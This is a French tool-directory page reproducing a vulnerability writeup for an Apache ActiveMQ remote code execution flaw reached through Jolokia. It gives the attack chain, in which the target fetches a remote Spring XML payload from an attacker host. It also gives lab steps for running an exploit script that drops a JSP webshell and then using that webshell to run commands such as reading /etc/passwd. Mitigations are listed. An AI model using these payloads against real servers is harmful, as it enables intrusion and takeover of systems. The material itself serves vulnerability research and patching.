Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia : analyse de vulnérabilité et notes de reproduction | Kitploit
Outils/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ RCE via Jolokia : analyse de vulnérabilité et notes de reproduction

Voir le dépôt
6il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia

1. Aperçu

ÉlémentDétails
CVE IDCVE-2026-34197
CVSS8.8 (ÉLEVÉ)
Type de vulnérabilitéExécution de code à distance (RCE)
CWECWE-20 Validation incorrecte des entrées / CWE-94 Injection de code
Composant affectéApache ActiveMQ Classic - Pont JMX-HTTP Jolokia
Versions affectées< 5.19.4 et 6.0.0 à 6.2.2
Versions corrigées5.19.4 / 6.2.3
Date de divulgation2026-04-07
AuthentificationRequis par défaut, généralement admin:admin. Les versions 6.0.0-6.1.1 peuvent être accessibles sans authentification lorsqu'elles sont chaînées avec CVE-2024-32114.
DécouverteSignalé comme une recherche assistée par IA par Anthropic Claude, après avoir été présent pendant environ 13 ans.

2. Cause racine

2.1 Chaîne d'attaque

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 Conditions clés

  1. Exposition de l'API Jolokia - La console Web ActiveMQ expose /api/jolokia/, fournissant un accès JMX-over-HTTP.
  2. Liste blanche MBean trop large - Le correctif CVE-2022-41678 a introduit une liste blanche qui autorise des opérations larges org.apache.activemq:*, y compris addNetworkConnector.
  3. Configuration distante du transport VM - Le paramètre brokerConfig du transport vm:// peut pointer vers un Spring XML distant, et l'instanciation du bean se produit avant que la configuration ne soit rejetée.

2.3 Comportement du correctif

ActiveMQ 6.2.3 a ajouté une validation dans addNetworkConnector() pour rejeter les URI de transport vm:// :

root@kitploit:~
"error": "VM scheme is not allowed"

3. Reproduction

3.1 Environnement

ÉlémentDétails
Hôte attaquantmacOS avec OrbStack Docker
Image ciblealfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Utilisateur d'exécutionamq (uid=33031)
Système d'exploitation de baseRocky Linux 8.9

3.2 Étapes

Étape 1 : Démarrer le laboratoire

root@kitploit:~
cd upstream-poc
docker compose up -d

Étape 2 : Vérifier l'API Jolokia

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

Une réponse status: 200 confirme que Jolokia est accessible.

Étape 3 : Exécuter l'exploit et écrire un webshell

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

Le script effectue les actions suivantes :

  1. Vérifie l'API Jolokia.
  2. Découvre le nom du broker.
  3. Supprime un NetworkConnector existant nommé NC pour rendre les tests répétés fiables.
  4. Démarre un serveur HTTP local qui sert une charge utile Spring XML malveillante. Le webshell JSP est intégré en base64, de sorte que la cible n'a besoin de récupérer le XML qu'une seule fois.
  5. Envoie une requête addNetworkConnector pour déclencher le chemin de code vulnérable.
  6. Vérifie que le webshell a été écrit avec succès.

Étape 4 : Utiliser le webshell

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 Exemple de sortie

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Comparaison des versions

VersionImageRéponse JolokiaRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCRéussie en tant que uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCRéussie en tant que uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedCorrigé

5. Notes d'exploitation et limitations

5.1 Exploitation répétée

addNetworkConnector() enregistre un connecteur nommé NC. Une seconde inscription échoue avec un conflit de nom JMX et retourne une erreur 500. Le script gère cela en appelant removeNetworkConnector("NC") avant de déclencher l'exploit.

5.2 Écriture du webshell

ActiveMQ utilise un Jetty embarqué, mais le répertoire webapps existe sur le disque et le moteur JSP compile les fichiers .jsp nouvellement écrits. Cela rend possible l'écriture d'un webshell dans l'environnement testé.

La charge utile écrit le JSP en utilisant du base64 en ligne :

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

Avantages :

  • Évite les problèmes d'analyse XML causés par les caractères spéciaux JSP tels que <, >, % et ".
  • Évite une seconde requête sortante de la cible pour télécharger le JSP. La cible ne récupère que la charge utile XML.

5.3 Exigence de réseau sortant

La cible doit pouvoir atteindre le serveur HTTP contrôlé par l'attaquant pour récupérer la charge utile Spring XML. Si la cible n'a pas de route sortante vers l'attaquant, ce chemin d'exploitation ne peut aboutir.

5.4 Vérification de l'origine Jolokia

Les requêtes Jolokia directes peuvent retourner 403 en raison des contrôles CORS. Inclure un en-tête Origin qui correspond à la cible :

root@kitploit:~
Origin: http://TARGET:8161

6. Fichiers

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # Ce rapport
|-- exploit_webshell.py          # Écrivain de webshell en un coup avec base64 en ligne et nom de fichier aléatoire
`-- upstream-poc/                # Copie des fichiers de dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Environnement de laboratoire pour ActiveMQ 6.2.1
    |-- exploit_poc.py           # Script PoC original avec modes serve/exploit/auto
    `-- serve_payload.py         # Serveur HTTP de charge utile simple

Comparaison des scripts

ScriptObjectifExigence de réseau sortantWebshell
exploit_poc.pyPoC RCE aveugle original qui exécute une commande arbitraireRequisNon
exploit_webshell.pyRCE réfléchie en un coup via un webshell JSP écritRequis uniquement pour la récupération du XMLÉcrit automatiquement avec un nom de fichier aléatoire

7. Atténuation

  1. Mise à niveau - Mettre à niveau vers ActiveMQ Classic 5.19.4+ ou 6.2.3+.
  2. Restreindre l'accès Jolokia - Limiter l'accès au port 8161 avec des règles de pare-feu ou une politique réseau.
  3. Désactiver Jolokia - Si la gestion JMX à distance n'est pas requise, désactiver l'API Jolokia dans jetty.xml.
  4. Changer les identifiants par défaut - Remplacer les identifiants par défaut admin:admin.
  5. Restreindre l'accès sortant - Empêcher ActiveMQ d'atteindre des ressources HTTP externes non fiables.

8. Références

  • Divulgation Horizon3.ai : https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Avis de sécurité Apache : https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • Dépôt PoC original : https://github.com/dinosn/CVE-2026-34197
Télécharger l’outil